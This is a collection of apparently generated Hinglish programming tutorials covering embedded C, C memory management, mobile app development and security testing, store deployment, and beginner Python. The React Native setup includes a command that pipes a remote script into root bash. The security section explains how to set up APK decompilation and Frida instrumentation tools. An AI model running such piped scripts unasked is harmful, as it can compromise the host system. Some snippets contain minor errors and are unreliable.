```

```
    } else {
        led_on();
    }
}

// Button read
bool button_pressed(void) {
    return READ_BIT(GPIOA_IDR, 0);
}

// Timer interrupt handler (example)
volatile uint32_t systick_counter = 0;

void SysTick_Handler(void) {
    systick_counter++;
}

// Main program
int main(void) {
    system_init();

    // Configure SysTick timer for 1ms interrupts
    // SysTick_Config(SystemCoreClock / 1000);

    uint32_t last_toggle = 0;
    bool led_state = false;

    while (1) {
        // Blink LED every 500ms
        if (systick_counter - last_toggle >= 500) {
            led_toggle();
            last_toggle = systick_counter;
        }

        // Check button
        if (button_pressed()) {
            // Button debouncing
            delay_ms(50);
            if (button_pressed()) {
                // Handle button press
                led_toggle();
                while (button_pressed());  // Wait for release
            }
        }
    }

    return 0;
}
```

6. MEMORY MANAGEMENT

>> Memory Management Concepts

WHAT:

Complete memory management in C and systems programming

CODE:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

// ========== STACK vs HEAP ==========
void stack_vs_heap() {
    // Stack allocation (automatic)
    int stack_array[100];           // Fixed size, auto freed
    int stack_var = 42;             // On stack

    // Heap allocation (dynamic)
    int* heap_array = (int*)malloc(100 * sizeof(int));
    int* heap_var = (int*)malloc(sizeof(int));
    *heap_var = 42;

    // Must free heap memory
    free(heap_array);
    free(heap_var);
}

// ========== CUSTOM MEMORY POOL ==========
#define POOL_SIZE 1024 * 1024  // 1MB

typedef struct MemoryBlock {
    size_t size;
    int free;
    struct MemoryBlock* next;
} MemoryBlock;

char memory_pool[POOL_SIZE];
MemoryBlock* free_list = NULL;

void memory_pool_init() {
    free_list = (MemoryBlock*)memory_pool;
    free_list->size = POOL_SIZE - sizeof(MemoryBlock);
    free_list->free = 1;
    free_list->next = NULL;
}

void* pool_alloc(size_t size) {
    MemoryBlock* current = free_list;
    MemoryBlock* prev = NULL;

    while (current) {
        if (current->free && current->size >= size) {
            if (current->size > size + sizeof(MemoryBlock)) {
                // Split block
                MemoryBlock* new_block = (MemoryBlock*)((char*)current + sizeof(MemoryBlock) + size);
                new_block->size = current->size - size - sizeof(MemoryBlock);
                new_block->free = 1;
                new_block->next = current->next;

                current->size = size;
                current->next = new_block;
            }
            current->free = 0;
```

```
            return (void*)((char*)current + sizeof(MemoryBlock));
        }
        prev = current;
        current = current->next;
    }
    return NULL;  // Out of memory
}

void pool_free(void* ptr) {
    if (!ptr) return;
    MemoryBlock* block = (MemoryBlock*)((char*)ptr - sizeof(MemoryBlock));
    block->free = 1;

    // Coalesce with next block if free
    if (block->next && block->next->free) {
        block->size += sizeof(MemoryBlock) + block->next->size;
        block->next = block->next->next;
    }
}

// ========== VIRTUAL MEMORY ==========
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>

void mmap_example() {
    // Anonymous mapping (like malloc)
    size_t size = 4096 * 10;  // 10 pages
    void* addr = mmap(NULL, size, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (addr == MAP_FAILED) {
        perror("mmap");
        return;
    }

    // Use memory
    memset(addr, 0, size);

    // Free memory
    munmap(addr, size);
}

void file_mmap_example(const char* filename) {
    int fd = open(filename, O_RDWR);
    if (fd == -1) {
        perror("open");
        return;
    }

    off_t size = lseek(fd, 0, SEEK_END);
    void* addr = mmap(NULL, size, PROT_READ | PROT_WRITE,
                      MAP_SHARED, fd, 0);

    if (addr == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return;
    }

    // Access file as memory
    char* data = (char*)addr;
    for (off_t i = 0; i < size; i++) {
        putchar(data[i]);
    }
```

```
    munmap(addr, size);
    close(fd);
}

// ========== MEMORY LEAK DETECTION ==========
typedef struct Allocation {
    void* ptr;
    size_t size;
    const char* file;
    int line;
    struct Allocation* next;
} Allocation;

Allocation* allocations = NULL;

void* debug_malloc(size_t size, const char* file, int line) {
    void* ptr = malloc(size);
    if (!ptr) return NULL;

    Allocation* alloc = (Allocation*)malloc(sizeof(Allocation));
    alloc->ptr = ptr;
    alloc->size = size;
    alloc->file = file;
    alloc->line = line;
    alloc->next = allocations;
    allocations = alloc;

    return ptr;
}

void debug_free(void* ptr) {
    Allocation* current = allocations;
    Allocation* prev = NULL;

    while (current) {
        if (current->ptr == ptr) {
            if (prev) {
                prev->next = current->next;
            } else {
                allocations = current->next;
            }
            free(current);
            free(ptr);
            return;
        }
        prev = current;
        current = current->next;
    }

    fprintf(stderr, "Error: freeing unknown pointer %p\n", ptr);
}

void print_leaks(void) {
    Allocation* current = allocations;
    if (!current) {
        printf("No memory leaks detected\n");
        return;
    }

    printf("Memory leaks detected:\n");
    while (current) {
        printf("  %zu bytes at %s:%d\n",
               current->size, current->file, current->line);
        current = current->next;
    }
}
```

```
// ========== CACHE LINE ALIGNMENT ==========
struct alignas(64) CacheAligned {
    int data[16];
};

void cache_alignment_example() {
    struct CacheAligned aligned_var;
    printf("Size: %zu, Alignment: %zu\n",
           sizeof(aligned_var), alignof(struct CacheAligned));
}
```

Mobile App Complete Guide

React Native, Flutter, iOS, Android, Security, Deployment

Generated: 23-March-2026

1. REACT NATIVE - CROSS-PLATFORM DEVELOPMENT

>> What is React Native

WHAT:

React Native Facebook ka framework hai jo JavaScript se native mobile apps banata hai. Ek codebase se iOS aur Android dono pe app chal sakta hai. React components use karta hai jo native UI components me convert hote hain.

KEY FEATURES:

* Cross-platform - Write once, run on iOS and Android
* Native components - Uses real native UI components
* Hot Reloading - Changes instantly visible
* Large ecosystem - Many libraries available
* JavaScript - Uses React and JavaScript

>> React Native Installation on Linux

WHAT:

React Native development environment setup

COMMANDS:

```
# Install Node.js
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install nodejs -y
# Install Watchman (file watcher)
sudo apt install watchman -y
# Install Java JDK 11
sudo apt install openjdk-11-jdk -y
# Install Android Studio
wget https://dl.google.com/dl/android/studio/ide-zips/2023.1.1.28/android-studio-2023.1.1.28-linux.tar.gz
tar -xzf android-studio-*.tar.gz
cd android-studio/bin
./studio.sh
# Setup Android SDK paths
echo 'export ANDROID_HOME=$HOME/Android/Sdk' >> ~/.bashrc
echo 'export PATH=$PATH:$ANDROID_HOME/emulator' >> ~/.bashrc
echo 'export PATH=$PATH:$ANDROID_HOME/platform-tools' >> ~/.bashrc
source ~/.bashrc
# Install React Native CLI
npm install -g react-native-cli
# Create new project
npx react-native init MyApp
# Run on Android
cd MyApp
npx react-native run-android
# Run on iOS (requires macOS)
npx react-native run-ios
```

>> React Native Complete App Example

WHAT:

Complete React Native app with navigation, state management, API calls

CODE:

```
// App.js - Main Application
import React, { useState, useEffect } from 'react';
import { NavigationContainer } from '@react-navigation/native';
import { createNativeStackNavigator } from '@react-navigation/native-stack';
import { Provider as PaperProvider } from 'react-native-paper';

import HomeScreen from './screens/HomeScreen';
import DetailsScreen from './screens/DetailsScreen';
```

```
import ProfileScreen from './screens/ProfileScreen';

const Stack = createNativeStackNavigator();

export default function App() {
    return (
        <PaperProvider>
            <NavigationContainer>
                <Stack.Navigator initialRouteName="Home">
                    <Stack.Screen name="Home" component={HomeScreen} />
                    <Stack.Screen name="Details" component={DetailsScreen} />
                    <Stack.Screen name="Profile" component={ProfileScreen} />
                </Stack.Navigator>
            </NavigationContainer>
        </PaperProvider>
    );
}

// screens/HomeScreen.js
import React, { useState, useEffect } from 'react';
import { View, Text, FlatList, TouchableOpacity, StyleSheet } from 'react-native';
import { Card, Button, ActivityIndicator } from 'react-native-paper';

const HomeScreen = ({ navigation }) => {
    const [posts, setPosts] = useState([]);
    const [loading, setLoading] = useState(true);

    useEffect(() => {
        fetchPosts();
    }, []);

    const fetchPosts = async () => {
        try {
            const response = await fetch('https://jsonplaceholder.typicode.com/posts');
            const data = await response.json();
            setPosts(data.slice(0, 10));
        } catch (error) {
            console.error('Error fetching posts:', error);
        } finally {
            setLoading(false);
        }
    };

    const renderItem = ({ item }) => (
        <TouchableOpacity
            onPress={() => navigation.navigate('Details', { post: item })}
        >
            <Card style={styles.card}>
                <Card.Title title={item.title} subtitle={`Post ${item.id}`} />
                <Card.Content>
                    <Text numberOfLines={2}>{item.body}</Text>
                </Card.Content>
            </Card>
        </TouchableOpacity>
    );

    if (loading) {
        return (
            <View style={styles.center}>
                <ActivityIndicator size="large" />
            </View>
        );
    }

    return (
        <FlatList
```

```
            data={posts}
            renderItem={renderItem}
            keyExtractor={item => item.id.toString()}
            contentContainerStyle={styles.list}
        />
    );
};

const styles = StyleSheet.create({
    list: { padding: 16 },
    card: { marginBottom: 12 },
    center: { flex: 1, justifyContent: 'center', alignItems: 'center' },
});

export default HomeScreen;
```

2. FLUTTER - GOOGLE'S UI FRAMEWORK

>> What is Flutter

WHAT:

Flutter Google ka UI framework hai jo Dart language use karta hai. Ek codebase se iOS, Android, Web, Desktop apps ban sakte hain. Flutter apna rendering engine use karta hai (Skia), isliye performance bahut acchi hai.

KEY FEATURES:

* Single codebase for multiple platforms
* Hot Reload - Instant updates
* Customizable UI with widgets
* Excellent performance (60-120 fps)
* Rich set of widgets (Material Design, Cupertino)

>> Flutter Installation on Linux

WHAT:

Flutter development environment setup

COMMANDS:

```
# Download Flutter SDK
cd ~
wget https://storage.googleapis.com/flutter_infra_release/releases/stable/linux/flutter_linux_3.16.0-stable.tar.xz
tar -xf flutter_linux_*.tar.xz
# Add to PATH
echo 'export PATH="$PATH:$HOME/flutter/bin"' >> ~/.bashrc
source ~/.bashrc
# Verify installation
flutter doctor
# Install Android Studio for Android development
# Install Xcode for iOS (macOS only)
# Create new project
flutter create my_app
# Run the app
cd my_app
flutter run
# Build APK
flutter build apk
# Build iOS
flutter build ios
```

>> Flutter Complete App Example

WHAT:

Complete Flutter app with state management, navigation, API calls

CODE:

```
// lib/main.dart
import 'package:flutter/material.dart';
import 'package:http/http.dart' as http;
import 'dart:convert';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Demo',
```

```
      theme: ThemeData(
        primarySwatch: Colors.blue,
        useMaterial3: true,
      ),
      home: HomePage(),
      routes: {
        '/details': (context) => DetailsPage(),
      },
    );
  }
}

class HomePage extends StatefulWidget {
  @override
  _HomePageState createState() => _HomePageState();
}

class _HomePageState extends State<HomePage> {
  List<dynamic> posts = [];
  bool isLoading = true;

  @override
  void initState() {
    super.initState();
    fetchPosts();
  }

  Future<void> fetchPosts() async {
    try {
      final response = await http.get(
        Uri.parse('https://jsonplaceholder.typicode.com/posts'),
      );
      if (response.statusCode == 200) {
        setState(() {
          posts = json.decode(response.body).take(10).toList();
          isLoading = false;
        });
      }
    } catch (e) {
      print('Error: $e');
      setState(() {
        isLoading = false;
      });
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Flutter Posts'),
        backgroundColor: Colors.blue,
      ),
      body: isLoading
          ? Center(child: CircularProgressIndicator())
          : ListView.builder(
              itemCount: posts.length,
              itemBuilder: (context, index) {
                final post = posts[index];
                return Card(
                  margin: EdgeInsets.all(8),
                  child: ListTile(
                    title: Text(
                      post['title'],
                      style: TextStyle(fontWeight: FontWeight.bold),
                    ),
```

```
                    subtitle: Text(
                      post['body'].substring(0, 50) + '...',
                    ),
                    onTap: () {
                      Navigator.pushNamed(
                        context,
                        '/details',
                        arguments: post,
                      );
                    },
                  ),
                );
              },
            ),
    );
  }
}

class DetailsPage extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    final post = ModalRoute.of(context)!.settings.arguments as Map;

    return Scaffold(
      appBar: AppBar(
        title: Text('Post Details'),
      ),
      body: Padding(
        padding: EdgeInsets.all(16),
        child: Column(
          crossAxisAlignment: CrossAxisAlignment.start,
          children: [
            Text(
              post['title'],
              style: TextStyle(
                fontSize: 24,
                fontWeight: FontWeight.bold,
              ),
            ),
            SizedBox(height: 16),
            Text(
              post['body'],
              style: TextStyle(fontSize: 16),
            ),
            SizedBox(height: 16),
            Text(
              'Post ID: ${post['id']}',
              style: TextStyle(color: Colors.grey),
            ),
          ],
        ),
      ),
    );
  }
}
```

3. IOS DEVELOPMENT (SWIFT)

>> What is Swift

WHAT:

Swift Apple ka modern programming language hai jo iOS, macOS, watchOS, tvOS apps banane ke liye use hoti hai. Fast, safe, aur expressive hai.

KEY FEATURES:

* Type-safe - Compile-time error checking
* Memory safe - Automatic memory management (ARC)
* Fast performance - Compiled to native code
* Modern syntax - Clean and readable
* Open source - Available on Linux too

>> Swift on Linux

WHAT:

Swift development on Linux (for server-side/CLI, not iOS apps)

COMMANDS:

```
# Install Swift on Ubuntu
sudo apt update
sudo apt install clang libicu-dev libcurl4-openssl-dev libssl-dev -y
# Download Swift
wget https://download.swift.org/swift-5.9-release/ubuntu2204/swift-5.9-RELEASE/swift-5.9-RELEASE-ubuntu22.04.tar.gz
tar -xzf swift-5.9-RELEASE-ubuntu22.04.tar.gz
sudo mv swift-5.9-RELEASE-ubuntu22.04 /usr/share/swift
# Add to PATH
echo 'export PATH=/usr/share/swift/usr/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
# Verify
swift --version
# Create a Swift package
mkdir MySwiftApp
cd MySwiftApp
swift package init --type executable
# Build and run
swift build
.build/debug/MySwiftApp
# Note: iOS app development requires Xcode on macOS
```

>> Swift Code Example

WHAT:

Swift code example (server-side/CLI)

CODE:

```
// main.swift
import Foundation

struct Post: Codable {
    let id: Int
    let title: String
    let body: String
}

class APIService {
    let baseURL = "https://jsonplaceholder.typicode.com"

    func fetchPosts(completion: @escaping ([Post]?, Error?) -> Void) {
        guard let url = URL(string: "\(baseURL)/posts") else {
```

```
            completion(nil, NSError(domain: "Invalid URL", code: -1))
            return
        }

        let task = URLSession.shared.dataTask(with: url) { data, response, error in
            if let error = error {
                completion(nil, error)
                return
            }

            guard let data = data else {
                completion(nil, NSError(domain: "No data", code: -2))
                return
            }

            do {
                let posts = try JSONDecoder().decode([Post].self, from: data)
                completion(posts.prefix(10).map { $0 }, nil)
            } catch {
                completion(nil, error)
            }
        }

        task.resume()
    }
}

class UserManager {
    private var currentUser: String?

    func login(username: String, password: String) -> Bool {
        // Simulate login validation
        if username.count >= 3 && password.count >= 6 {
            currentUser = username
            return true
        }
        return false
    }

    func logout() {
        currentUser = nil
    }

    func getCurrentUser() -> String? {
        return currentUser
    }
}

// Main execution
let apiService = APIService()
let userManager = UserManager()

print("=== Swift App ===")

// User login
if userManager.login(username: "john_doe", password: "secure123") {
    print("User logged in: \(userManager.getCurrentUser()!)")
} else {
    print("Login failed")
}

// Fetch posts
print("\nFetching posts...")
apiService.fetchPosts { posts, error in
    if let error = error {
        print("Error: \(error.localizedDescription)")
```

```
    } else if let posts = posts {
        print("\nRecent Posts:")
        for post in posts {
            print("  \(post.id). \(post.title)")
        }
    }

    // Keep the program running to receive async response
    RunLoop.current.run(until: Date(timeIntervalSinceNow: 5))
}
```

4. ANDROID ADVANCED (JETPACK COMPOSE)

>> What is Jetpack Compose

WHAT:

Jetpack Compose Android ka modern UI toolkit hai jo declarative UI development allow karta hai. XML layouts ki jagah Kotlin code me UI define hota hai.

KEY FEATURES:

* Declarative UI - Describe UI, not how to build it
* Less code - No XML layouts
* Reactive - State changes auto-update UI
* Material Design 3 - Built-in Material components
* Interoperable - Works with existing XML layouts

>> Android Setup on Linux

WHAT:

Android development environment setup

COMMANDS:

```
# Install Java JDK 11 or 17
sudo apt install openjdk-11-jdk -y
# Download Android Studio
wget https://redirector.gvt1.com/edgedl/android/studio/ide-zips/2023.2.1.23/android-studio-2023.2.1.23-linux.tar.gz
tar -xzf android-studio-*.tar.gz
cd android-studio/bin
./studio.sh
# Setup Android SDK
echo 'export ANDROID_HOME=$HOME/Android/Sdk' >> ~/.bashrc
echo 'export PATH=$PATH:$ANDROID_HOME/emulator' >> ~/.bashrc
echo 'export PATH=$PATH:$ANDROID_HOME/platform-tools' >> ~/.bashrc
echo 'export PATH=$PATH:$ANDROID_HOME/cmdline-tools/latest/bin' >> ~/.bashrc
source ~/.bashrc
# Install SDK components via command line
sdkmanager "platform-tools" "platforms;android-33" "build-tools;33.0.0"
# Create new Compose project
# Using Android Studio -> New Project -> Empty Activity (Compose)
```

>> Jetpack Compose Complete App

WHAT:

Complete Android app with Jetpack Compose, MVVM, Retrofit

CODE:

```
// build.gradle.kts (app level)
dependencies {
    implementation("androidx.compose.ui:ui:1.5.0")
    implementation("androidx.compose.material3:material3:1.1.0")
    implementation("androidx.lifecycle:lifecycle-viewmodel-compose:2.6.0")
    implementation("androidx.navigation:navigation-compose:2.7.0")
    implementation("com.squareup.retrofit2:retrofit:2.9.0")
    implementation("com.squareup.retrofit2:converter-gson:2.9.0")
    implementation("io.coil-kt:coil-compose:2.4.0")
}

// MainActivity.kt
package com.example.myapp

import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
```

```
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.material3.*
import androidx.compose.runtime.*
import androidx.compose.ui.Modifier
import androidx.compose.ui.unit.dp
import androidx.lifecycle.viewmodel.compose.viewModel
import androidx.navigation.compose.NavHost
import androidx.navigation.compose.composable
import androidx.navigation.compose.rememberNavController
import com.example.myapp.ui.theme.MyAppTheme

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContent {
            MyAppTheme {
                MyApp()
            }
        }
    }
}

@Composable
fun MyApp() {
    val navController = rememberNavController()
    NavHost(navController = navController, startDestination = "home") {
        composable("home") { HomeScreen(navController) }
        composable("details/{postId}") { backStackEntry ->
            val postId = backStackEntry.arguments?.getString("postId")?.toInt() ?: 0
            DetailsScreen(postId)
        }
    }
}

@Composable
fun HomeScreen(navController: NavController) {
    val viewModel: PostViewModel = viewModel()
    val posts by viewModel.posts.collectAsState()
    val isLoading by viewModel.isLoading.collectAsState()

    Scaffold(
        topBar = { TopAppBar(title = { Text("Posts") }) }
    ) { paddingValues ->
        Box(modifier = Modifier.padding(paddingValues)) {
            if (isLoading) {
                CircularProgressIndicator(modifier = Modifier.fillMaxSize())
            } else {
                LazyColumn {
                    items(posts) { post ->
                        Card(
                            modifier = Modifier
                                .fillMaxWidth()
                                .padding(8.dp)
                                .clickable {
                                    navController.navigate("details/${post.id}")
                                }
                        ) {
                            Column(modifier = Modifier.padding(16.dp)) {
                                Text(
                                    text = post.title,
                                    style = MaterialTheme.typography.titleMedium,
                                )
                                Spacer(modifier = Modifier.height(4.dp))
                                Text(
```

```
                                    text = post.body.take(100) + "...",
                                    style = MaterialTheme.typography.bodyMedium,
                                )
                            }
                        }
                    }
                }
            }
        }
    }
}

@Composable
fun DetailsScreen(postId: Int) {
    val viewModel: PostViewModel = viewModel()
    val post by viewModel.getPostById(postId).collectAsState(initial = null)

    Scaffold(
        topBar = { TopAppBar(title = { Text("Post Details") }) }
    ) { paddingValues ->
        Box(
            modifier = Modifier
                .padding(paddingValues)
                .fillMaxSize()
                .padding(16.dp)
        ) {
            post?.let {
                Column {
                    Text(
                        text = it.title,
                        style = MaterialTheme.typography.headlineSmall,
                    )
                    Spacer(modifier = Modifier.height(16.dp))
                    Text(
                        text = it.body,
                        style = MaterialTheme.typography.bodyLarge,
                    )
                }
            }
        }
    }
}

// ViewModel.kt
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.StateFlow
import kotlinx.coroutines.launch

class PostViewModel : ViewModel() {
    private val _posts = MutableStateFlow<List<Post>>(emptyList())
    val posts: StateFlow<List<Post>> = _posts

    private val _isLoading = MutableStateFlow(true)
    val isLoading: StateFlow<Boolean> = _isLoading

    init {
        fetchPosts()
    }

    fun fetchPosts() {
        viewModelScope.launch {
            try {
                val apiService = RetrofitInstance.api
                val response = apiService.getPosts()
```

```
                _posts.value = response.take(10)
            } catch (e: Exception) {
                e.printStackTrace()
            } finally {
                _isLoading.value = false
            }
        }
    }

    fun getPostById(id: Int): StateFlow<Post?> {
        val postFlow = MutableStateFlow<Post?>(null)
        viewModelScope.launch {
            postFlow.value = _posts.value.find { it.id == id }
        }
        return postFlow
    }
}
```

5. MOBILE SECURITY TESTING

>> What is Mobile Security Testing

WHAT:

Mobile app security testing vulnerabilities find karne aur fix karne ka process hai. Static analysis, dynamic analysis, penetration testing, aur reverse engineering include hota hai.

TESTING AREAS:

* 1. Static Analysis: Code review without execution
* 2. Dynamic Analysis: Runtime behavior analysis
* 3. Network Security: API security, certificate pinning
* 4. Data Storage: Secure storage of sensitive data
* 5. Authentication & Authorization
* 6. Reverse Engineering: APK/IPA analysis

>> Android Security Testing Tools

WHAT:

Android security testing tools setup and usage

COMMANDS:

```
# Install MobSF (Mobile Security Framework)
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh
./run.sh
# Install APKTool for decompilation
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
chmod +x apktool
sudo mv apktool /usr/local/bin/
wget https://github.com/iBotPeaches/Apktool/releases/download/v2.9.3/apktool_2.9.3.jar
sudo mv apktool_2.9.3.jar /usr/local/bin/
# Decompile APK
apktool d app.apk -o decompiled/
# Install JADX for Java decompilation
wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip
unzip jadx-1.4.7.zip
cd jadx/bin
./jadx-gui
# Install Frida for dynamic instrumentation
pip3 install frida-tools
# Run Frida server on device
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
# Install Burp Suite for network testing
wget https://portswigger.net/burp/releases/download?product=community&version=2023.12.1&type=Linux
chmod +x burp*.sh
./burp*.sh
```

>> Security Testing Checklist

WHAT:

Mobile app security testing checklist

CHECKLIST:

* 1. Reverse Engineering Protection:
* - Check if app is obfuscated (ProGuard/R8)
* - Check for root/jailbreak detection
* - Verify certificate pinning implementation

```
*
* 2. Data Storage Security:
*    - No sensitive data in SharedPreferences
*    - No sensitive data in logs
*    - Database encryption (SQLCipher)
*    - Secure key storage (Android Keystore)
*
* 3. Network Security:
*    - HTTPS only (no HTTP)
*    - Certificate pinning enabled
*    - No sensitive data in URLs
*    - Secure API authentication
*
* 4. Authentication & Authorization:
*    - Strong password policy
*    - Biometric authentication support
*    - Session management
*    - OAuth2 implementation
*
* 5. Code Quality:
*    - No hardcoded secrets
*    - No debug code in production
*    - Proper error handling
*    - Input validation
```

6. APP STORE DEPLOYMENT

>> Google Play Store Deployment

WHAT:

Android app publish karne ka complete process

STEPS:

```
* Step 1: Create Developer Account
* - Go to play.google.com/console
* - Pay $25 one-time registration fee
* - Complete account verification
*
* Step 2: Prepare Release Build
* - Generate signed APK/AAB
* - Update version code and version name
* - Test release build thoroughly
*
* Step 3: Create Store Listing
* - App title (max 30 characters)
* - Short description (80 characters)
* - Full description (4000 characters)
* - Feature graphic (1024x500)
* - Screenshots (at least 2)
* - App icon (512x512)
*
* Step 4: Content Rating
* - Complete content rating questionnaire
* - Select app category
*
* Step 5: Pricing & Distribution
* - Choose free or paid
* - Select countries
*
* Step 6: Review & Publish
* - Submit for review
* - Wait 24-72 hours for review
* - Publish to production
```

>> Apple App Store Deployment

WHAT:

iOS app publish karne ka process

STEPS:

```
* Step 1: Apple Developer Account
* - Enroll in Apple Developer Program
* - $99/year fee
* - Complete enrollment verification
*
* Step 2: Prepare for Distribution
* - Generate distribution certificate
* - Create App ID
* - Create provisioning profile
```

```
* - Archive app in Xcode
*
* Step 3: App Store Connect
* - Create new app record
* - Set pricing and availability
* - Add app metadata:
*   - App name
*   - Description
*   - Keywords
*   - Support URL
*   - Privacy policy URL
*
* Step 4: App Assets
* - App icon (multiple sizes)
* - Screenshots (iPhone and iPad)
* - App preview video (optional)
* - App store icon
*
* Step 5: Submit for Review
* - Upload build via Xcode or Transporter
* - Select build and submit
* - Wait for review (24-72 hours)
* - Respond to review feedback
*
* Step 6: Release
* - Manual or automatic release
* - Monitor crash reports
* - Respond to user reviews
```

>> Pre-Launch Checklist

WHAT:

App publish karne se pehle check karne wali list

CHECKLIST:

```
* 1. Testing:
*    - Unit tests passed
*    - UI tests passed
*    - Beta testing completed (Play Store Internal/Closed track)
*    - Test on multiple devices
*    - Performance testing done
*
* 2. Code Quality:
*    - No debug logs in production
*    - ProGuard/R8 enabled
*    - Crash reporting integrated (Firebase Crashlytics)
*    - Analytics integrated
*
* 3. Store Assets:
*    - All required screenshots uploaded
*    - Feature graphic designed
*    - App icon ready
*    - Promo video ready
*
```

```
* 4. Legal:
*    - Privacy policy created
*    - Terms of service created
*    - Copyright information added
*
* 5. Metadata:
*    - Keywords researched
*    - Description optimized
*    - Category selected correctly
*
* 6. Monetization:
*    - In-app purchases tested
*    - Ads integrated correctly
*    - Subscription testing completed
```

Python Complete Guide

From Beginner to Advanced - Full Python Programming

Generated: 22-March-2026

1. PYTHON INTRODUCTION AND SETUP

>> What is Python

WHAT:

Python ek high-level, interpreted programming language hai. Yeh simple, readable aur powerful hai. Web development, data science, AI, automation sabme use hota hai.

FEATURES:

* Simple and easy to learn syntax
* Interpreted language (no compilation needed)
* Dynamically typed (variables type declare nahi karna)
* Large standard library
* Cross-platform (Windows, Linux, Mac)
* Open source and free

>> Installation on Linux

WHAT:

Python install karna aur verify karna

COMMANDS:

```
# Check if Python is installed
python3 --version
# Install Python on Ubuntu/Debian
sudo apt update
sudo apt install python3 python3-pip -y
# Verify installation
python3 --version
pip3 --version
# Install virtual environment
pip3 install virtualenv
# Create virtual environment
python3 -m venv myenv
# Activate virtual environment
source myenv/bin/activate
# Deactivate virtual environment
deactivate
```

---

2. PYTHON BASICS - VARIABLES AND DATA TYPES

>> Variables

WHAT:

Variables data store karne ke liye containers hain. Python me variable declare karne ke liye type specify nahi karna padta.

EXAMPLES:

```
# Integer (purnank)
age = 25
year = 2024
temperature = -5
# Float (decimal numbers)
price = 99.99
pi = 3.14159
percentage = 75.5
# String (text)
name = 'Raj'
message = 'Hello Python'
multi_line = '''This is a multi-line string'''
# Boolean (True/False)
is_active = True
is_deleted = False
# List (mutable list)
fruits = ['apple', 'banana', 'orange']
numbers = [1, 2, 3, 4, 5]
mixed = [1, 'hello', 3.14, True]
# Tuple (immutable list)
colors = ('red', 'green', 'blue')
coordinates = (10, 20)
# Dictionary (key-value pairs)
person = {
    'name': 'Raj',
    'age': 25,
    'city': 'Mumbai'
}
# Set (unique values)
unique_numbers = {1, 2, 3, 3, 4}
# Result: {1, 2, 3, 4}
```

>> Variable Naming Rules

WHAT:

Variable names ke liye rules

RULES:

1. Letters (a-z, A-Z), digits (0-9), underscore (_) use kar sakte ho
2. Number se start nahi kar sakte
3. Spaces nahi use kar sakte (use underscore)
4. Keywords (if, else, for, etc.) use nahi kar sakte
5. Case sensitive hai (name aur Name alag hai)

Valid Examples:

my_name = 'Raj'

user_age = 25

_private = 'secret'

name123 = 'test'

Invalid Examples:

1name = 'test' # Number se start

```
# my name = 'Raj'  # Space hai
# if = 'hello'  # Keyword hai
```

3. PYTHON OPERATORS

>> Arithmetic Operators

WHAT:

Mathematical operations ke liye

EXAMPLES:

```
a = 10
b = 3
# Addition
result = a + b  # 13
# Subtraction
result = a - b  # 7
# Multiplication
result = a * b  # 30
# Division (float result)
result = a / b  # 3.333...
# Floor Division (integer division)
result = a // b  # 3
# Modulus (remainder)
result = a % b  # 1
# Exponentiation (power)
result = a ** b  # 1000
print(f'Addition: {a+b}')
print(f'Subtraction: {a-b}')
print(f'Multiplication: {a*b}')
print(f'Division: {a/b}')
print(f'Floor Division: {a//b}')
print(f'Modulus: {a%b}')
print(f'Power: {a**b}')
```

>> Comparison Operators

WHAT:

Values compare karne ke liye

EXAMPLES:

```
x = 10
y = 20
# Equal to
print(x == y)  # False
# Not equal to
print(x != y)  # True
# Greater than
print(x > y)   # False
# Less than
print(x < y)   # True
# Greater than or equal
print(x >= y)  # False
# Less than or equal
print(x <= y)  # True
```

>> Logical Operators

WHAT:

Multiple conditions combine karne ke liye

EXAMPLES:

```
a = True
b = False
# AND - dono True hona chahiye
print(a and b)  # False
# OR - ek bhi True to True
```

```
print(a or b)   # True
# NOT - opposite
print(not a)    # False
# Real example
age = 25
has_license = True
can_drive = age >= 18 and has_license
print(f'Can drive: {can_drive}')  # True
```

4. PYTHON CONTROL FLOW

>> If-Else Statements

WHAT:

Conditions ke basis par code execute karna

EXAMPLES:

```
# Simple if
age = 18
if age >= 18:
    print('You can vote')
# if-else
score = 75
if score >= 60:
    print('Pass')
else:
    print('Fail')
# if-elif-else (multiple conditions)
marks = 85
if marks >= 90:
    print('Grade A')
elif marks >= 80:
    print('Grade B')
elif marks >= 70:
    print('Grade C')
elif marks >= 60:
    print('Grade D')
else:
    print('Fail')
# Nested if
num = 15
if num > 0:
    if num % 2 == 0:
        print('Positive even number')
    else:
        print('Positive odd number')
else:
    print('Negative number')
```

>> Loops

WHAT:

Code ko repeatedly execute karne ke liye

EXAMPLES:

```
# For loop with range
print('Counting 1 to 5:')
for i in range(1, 6):
    print(i)
# For loop with list
fruits = ['apple', 'banana', 'orange']
for fruit in fruits:
    print(f'I like {fruit}')
# For loop with string
word = 'Python'
for char in word:
    print(char)
# While loop
count = 1
while count <= 5:
    print(f'Count: {count}')
    count += 1
# Break statement
```

```
for i in range(1, 10):
    if i == 5:
        break  # Stop loop at 5
    print(i)
# Continue statement
for i in range(1, 6):
    if i == 3:
        continue  # Skip 3
    print(i)
```

5. PYTHON FUNCTIONS

>> Function Basics

WHAT:

Functions reusable code blocks hain. def keyword se define karte hain.

EXAMPLES:

```
# Simple function without parameters
def greet():
